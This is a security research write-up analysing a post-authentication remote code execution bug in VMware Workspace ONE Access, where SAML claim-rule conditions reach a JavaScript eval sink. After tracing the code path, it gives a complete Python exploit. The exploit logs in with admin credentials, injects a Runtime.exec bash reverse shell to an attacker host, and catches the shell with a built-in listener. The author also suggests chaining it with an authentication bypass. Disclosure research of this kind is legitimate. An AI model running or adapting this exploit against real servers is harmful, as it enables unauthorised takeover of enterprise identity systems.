Intro
In 2022, I conducted research against VMWare Workspace ONE Access and was able to find a remote code execution vulnerability triggerable by an authenticated administrator. Although authentication is required, past authentication bypass vulnerabilities have been published. As an aside, if you’re interested in this sort of work, here at Trenchant we perform vulnerability research against a wide variety of interesting and challenging targets!
VMWare’s vendor advisory can be found here.
Motivation
Full chain author | AB | RCE |
---|---|---|
mr_me | CVE-2022-22955 | CVE-2022-22960 |
Kai Zhao & Steven Yu | CVE-2022-22973 | ? |
Petrus Viet | CVE-2022-31659 | CVE-2022-31659 |
After I built the Hekate 0-click exploit, which chains an authentication bypass with other vulnerabilities, I saw that Kai Zhao of ToTU Security Team and Steven Yu reported CVE-2022-22973, another authentication bypass without chaining any remote code execution.
Later on, Petrus Viet bypassed the patch for CVE-2022-22973 (patched as CVE-2022-31659) and chained it with another remote code execution vulnerability he found (CVE-2022-31659).
A new RCE vulnerability could be combined with Kai Zhao and Steven Yu’s authentication bypass to achieve unauthenticated remote code execution. VMWare try very hard not to allow any post-authentication RCE vulnerabilities, especially because these flaws have been exploited in the wild.
Vulnerability Analysis
I was up late one night and reading about Java bean validation related vulnerabilities, and I realized this is an area I hadn’t investigated initially when auditing this target. Since an RCE would allow completing a full chain, I decided it was time to dive in one last time.
In Alvaro’s excellent post, he mentions that the vulnerable sink to be looking for is javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate
with a partially controlled error message, so I went about my journey to find such a sink which lead me to the com.vmware.horizon.catalog.validation.TypeInfoValidator
class:
public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T>
{
...
@Override
public boolean isValid(@Nonnull final T t, @Nonnull final ConstraintValidatorContext constraintValidatorContext) {
...
for (final Pair<String, List<String>> errorMessage : this.errorMessages) {
final ConstraintValidatorContext.ConstraintViolationBuilder constraintViolationBuilder = constraintValidatorContext.buildConstraintViolationWithTemplate(errorMessage.getFirst()); // 1
for (final String errorMessageArg : errorMessage.getSecond()) {
constraintViolationBuilder.addNode(errorMessageArg);
}
constraintViolationBuilder.addConstraintViolation();
}
return this.errorMessages.size() == 0;
}
...
protected void addErrorMessage(@Nonnull final String errorMessageKey, final String... errorMessageArgs) { // 2
Preconditions.checkNotNull(errorMessageKey);
this.errorMessages.add((Pair<String, List<String>>)Pair.of(errorMessageKey, Lists.newArrayList(errorMessageArgs)));
}
At [1] the validator loops through the errorMessages
property and gets the first string value from the HashSet
and proceeds to call buildConstraintViolationWithTemplate
. I continued to look for anything that calls addErrorMessage
at [2] since this method populates the errorMessages
property.
I failed at finding anything of use and was about to give up when I found this interesting method inside of the TypeInfoValidator
class:
protected void validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = this.claimTransformationHelper.validateClaimTransformations(claimTransformations);
for (final ErrorMessage errorMessage : errorMessages) {
this.addErrorMessage(errorMessage.getErrorMessageKey(), errorMessage.getErrorMessageArgs()); // 3
}
}
Naturally, I wanted to know how the errorMessages
list is derived in order to influence the return value of getErrorMessageKey
at [3]. I dived into thecom.vmware.horizon.catalog.utils.saml.transformation.ClaimTransformationHelper
class to inspect the validateClaimTransformations
method:
@Component
public class ClaimTransformationHelper
{
...
private final ScriptEngine scriptEngine;
public ClaimTransformationHelper() {
this.scriptEngine = new ScriptEngineManager().getEngineByName("JavaScript");
}
...
@Nonnull
public List<ErrorMessage> validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = new ArrayList<ErrorMessage>();
for (final ClaimTransformation claimTransformation : claimTransformations) {
final String value = claimTransformation.getValue();
final List<ClaimRule> claimRules = claimTransformation.getRules(); // 4
if (value != null && CollectionUtils.isNotEmpty(claimRules)) {
...
}
else {
...
final List<ClaimRule> rules = new ArrayList<ClaimRule>(claimRules); // 5
...
this.validateClaimRuleCondition(rules, claimTransformation.getName(), errorMessages); // 6
}
}
return errorMessages;
}
private void validateClaimRuleCondition(final List<ClaimRule> rules, final String name, final List<ErrorMessage> errorMessages) {
for (final ClaimRule claimRule : rules) {
if ("default".equals(claimRule.getCondition())) {
continue;
}
try {
Boolean.valueOf((boolean)this.scriptEngine.eval(claimRule.getCondition())); // 7
}
catch (Exception e) {
errorMessages.add(new ErrorMessage("claim.rules.condition.compilation.failed", new String[] { name, String.valueOf(claimRule.getOrder()) }));
}
}
}
At [4] the code loops through the supplied claimTransformations
and calls getRules
. At [5] claimRules
is cast to an ArrayList
of ClaimRule
instances and stored in rules
. Then at [6] the code calls validateClaimRuleCondition
with the attacker-supplied rules
.
The getCondition
method is called on the attacker-supplied ClaimRule
instance that was passed directly to the scriptEngine.eval
sink at [7]. Because Java bean validation occurs on user-supplied data, it was likely that we could reach this injection sink with influenceable data.
Reaching validateClaimRuleCondition
Looking for calls to validateClaimTransformations
I found a few results:
The second result is the com.vmware.horizon.catalog.validation.SamlTypeInfoValidator
class that exposes the validate
method.
public abstract class SamlTypeInfoValidator<A extends Annotation, S extends SamlAuthInfo> extends TypeInfoValidator<A, S>
{
protected void validate(@Nonnull final SamlAuthInfo samlAuthInfo) {
...
if (samlAuthInfo.getNameIdClaimTransformation() != null) {
this.validateClaimTransformations(Arrays.asList(samlAuthInfo.getNameIdClaimTransformation()));
}
...
}
}
This is called by the two child bean validation classes Saml11TypeInfoValidator
and Saml20TypeInfoValidator
in their isValid
implementations.
@Component
public class Saml11TypeInfoValidator extends SamlTypeInfoValidator<ValidSaml11TypeInfo, Saml11AuthInfo>
{
@Override
protected void isValid(@Nonnull final Saml11AuthInfo saml11AuthInfo) {
Preconditions.checkNotNull(saml11AuthInfo);
super.validate(saml11AuthInfo);
}
}
At this point I started to look for implementations with any of the annotations @ValidSaml11TypeInfo
, @ValidSaml20TypeInfo
or @ValidWSFed12TypeInfo
.
The classes com.vmware.horizon.api.v2.catalog.Saml11AuthInfo
, com.vmware.horizon.api.v2.catalog.Saml20AuthInfo
and com.vmware.horizon.api.v2.catalog.wsfed.WSFed12ResourceInfo
all implement the custom bean validator as an annotation.
@ValidSaml11TypeInfo
public final class Saml11AuthInfo extends SamlAuthInfo
{
@ValidSaml20TypeInfo
public final class Saml20AuthInfo extends SamlAuthInfo
{
@ValidWSFed12TypeInfo
public final class WSFed12ResourceInfo extends WSFedResourceInfo
{
Looking for validation
At this point, we have three classes that can reach the vulnerable sink and these classes need to be validated in order to reach that sink. After some searching, I found a @PostConstruct
at [8] inside of thecom.vmware.horizon.catalog.impl.CatalogServiceImpl
class that is called after the initialization of the catalogService
bean service:
@Service("catalogService")
@Transactional(propagation = Propagation.REQUIRED)
public class CatalogServiceImpl implements CatalogService
{
...
@PostConstruct
public void initValidation() { // 8
this.validator.addDynamicConstraintValidation(ValidSaml11TypeInfo.class, Saml11TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidSaml20TypeInfo.class, Saml20TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWSFed12TypeInfo.class, WSFed12TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWebAppLinkTypeInfo.class, WebAppLinkTypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(AdapterInstalled.class, AdapterInstalledValidator.class);
}
After more searching, I found the com.vmware.horizon.catalog.rest.resource.AbstractCatalogResource
abstract class implements this service:
public abstract class AbstractCatalogResource extends AbstractResource
{
public static final boolean DO_NOT_USE_ABSOLUTE_URL = false;
@Autowired
protected CatalogService catalogService; // 9
At [9] we see that the class auto wires the CatalogService
. Naturally, I then looked for child classes of AbstractCatalogResource
and I found two interesting examples:

These are interesting because they use the following three types from the com.vmware.horizon.catalog.rest.media
package:
Saml11CatalogItem
Saml20CatalogItem
WSFed12CatalogItem
These types expose a JSON property that maps back to their associated AuthInfo
types. For example, let’s inspect the Saml20CatalogItem
class:
@XmlRootElement(namespace = "http://www.vmware.com/hws/v2.0")
@XmlType(namespace = "http://www.vmware.com/hws/v2.0")
public class Saml20CatalogItem extends AbstractCatalogItem
{
public static final String MEDIA_TYPE_NAME = "application/vnd.vmware.horizon.manager.catalog.saml20+json";
@JsonProperty("authInfo")
private Saml20AuthInfo authInfo; // 10
Exposure
Looking at the com.vmware.horizon.catalog.rest.resource.CatalogItemsResource
class we can find several methods that expose the vulnerable sink:
@Path("/catalogitems")
@Component
@Scope("prototype")
@RolesAllowed({ "admin" }) // 11
public class CatalogItemsResource extends AbstractCatalogResource
{
private static final boolean VALIDATE = true;
...
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@TypeHint(Saml11CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml11CatalogItem(final Saml11CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml11+json", validate);
}
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@TypeHint(Saml20CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml20CatalogItem(final Saml20CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml20+json", validate);
}
At [11] the user needs to be at the admin level to reach this endpoint, however, several authentication bypasses existed in this application in the past and these can be chained with this vulnerability.
Also, note that not all methods to reach the vulnerable code are listed here. I have provided two as proof of concept.
Proof of Concept
This PoC requires the target’s hostname and admin credentials. Chaining with CVE-2022-22973 is an exercise for the reader 🙂
Automation
#!/usr/bin/env python3
import re
import sys
import socket
import requests
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style, Back
from urllib3 import disable_warnings, exceptions
from urllib.parse import urlparse
disable_warnings(exceptions.InsecureRequestWarning)
def login(t, u , p):
r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False)
m = re.search("protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text)
assert m, "(-) cannot find protected_state!"
s = requests.Session()
s.post(f"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={
"protected_state": m.group(1),
"username": u,
"password": p
}, verify=False)
return s
def trigger_rce(t, rhost, rport, s):
j = {
"catalogItemType":"Saml11",
"authInfo": {
"type":"Saml11",
"configureAs":"manual",
"nameIdClaimTransformation":{
"name":"",
"format":"",
"rules":[
{
"condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");",
"order":1337,
"action":{
"name":"prefix",
"args":[]
}
}
]
}
}
}
s.headers.update({
'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json'
})
r = s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!"
s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']})
s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
t.interact()
def main():
global rhost, rport
if len(sys.argv) != 4:
print("(+) usage: %s <hostname> <connectback> <admin creds>" % sys.argv[0])
print("(+) eg: %s target.tld 172.18.182.204 admin:Admin22#" % sys.argv[0])
sys.exit(1)
assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
target = sys.argv[1]
rhost = sys.argv[2]
rport = 1337
if ":" in sys.argv[2]:
rhost = sys.argv[2].split(":")[0]
assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
rport = int(sys.argv[2].split(":")[1])
usr = sys.argv[3].split(":")[0]
pwd = sys.argv[3].split(":")[1]
s = login(target, usr, pwd)
handlerthr = Thread(target=handler, args=[rport])
handlerthr.start()
trigger_rce(target, rhost, rport, s)
if __name__ == "__main__":
main()
Manual
Stack Trace
ClaimTransformationHelper.validateClaimRuleCondition(List<ClaimRule>, String, List<ErrorMessage>) line: 127
ClaimTransformationHelper.validateClaimTransformations(List<ClaimTransformation>) line: 114
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).validateClaimTransformations(List<ClaimTransformation>) line: 171
Saml20TypeInfoValidator(SamlTypeInfoValidator<A,S>).validate(SamlAuthInfo) line: 34
Saml20TypeInfoValidator.isValid(Saml20AuthInfo) line: 36
Saml20TypeInfoValidator.isValid(Object) line: 18
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).isValid(T, ConstraintValidatorContext) line: 75
ConstraintTree<A>.validateSingleConstraint(ValidationContext<T>, ValueContext<?,?>, ConstraintValidatorContextImpl, ConstraintValidator<A,V>) line: 447
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,V>, Set<ConstraintViolation<T>>) line: 128
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,?>) line: 88
MetaConstraint<A>.validateConstraint(ValidationContext<?>, ValueContext<?,?>) line: 73
ValidatorImpl.validateMetaConstraint(ValidationContext<?>, ValueContext<?,Object>, MetaConstraint<?>) line: 617
ValidatorImpl.validateConstraint(ValidationContext<?>, ValueContext<?,Object>, boolean, MetaConstraint<?>) line: 582
ValidatorImpl.validateConstraintsForSingleDefaultGroupElement(ValidationContext<?>, ValueContext<U,Object>, Map<Class<?>,Class<?>>, Class<? super U>, Set<MetaConstraint<?>>, Group) line: 528
ValidatorImpl.validateConstraintsForDefaultGroup(ValidationContext<?>, ValueContext<U,Object>) line: 496
ValidatorImpl.validateConstraintsForCurrentGroup(ValidationContext<?>, ValueContext<?,Object>) line: 461
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 411
ValidatorImpl.validateCascadedConstraint(ValidationContext<?>, ValueContext<?,Object>, Iterator<?>, boolean, ValidationOrder, Set<MetaConstraint<?>>) line: 757
ValidatorImpl.validateCascadedConstraints(ValidationContext<?>, ValueContext<?,Object>) line: 681
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 420
ValidatorImpl.validate(T, Class<?>...) line: 208
HorizonValidator.validate(T, Class<?>...) line: 67
CatalogServiceImpl.putResource(int, Resource) line: 382
CatalogServiceImpl.createResource(int, Resource) line: 325
GeneratedMethodAccessor1783.invoke(Object, Object[]) line: not available
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 498
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) line: 344
ReflectiveMethodInvocation.invokeJoinpoint() line: 198
ReflectiveMethodInvocation.proceed() line: 163
2024690047.proceedWithInvocation() line: not available [local variables unavailable]
TransactionInterceptor(TransactionAspectSupport).invokeWithinTransaction(Method, Class<?>, InvocationCallback) line: 367
TransactionInterceptor.invoke(MethodInvocation) line: 118
ReflectiveMethodInvocation.proceed() line: 186
ExposeInvocationInterceptor.invoke(MethodInvocation) line: 95
ReflectiveMethodInvocation.proceed() line: 186
JdkDynamicAopProxy.invoke(Object, Method, Object[]) line: 212
$Proxy1217.createResource(int, Resource) line: not available
CatalogItemsResource.createCatalogItem(int, Resource) line: 496
CatalogItemsResource.createCatalogItem(AbstractCatalogItem, String, boolean) line: 462
CatalogItemsResource.createSaml20CatalogItem(Saml20CatalogItem, boolean) line: 142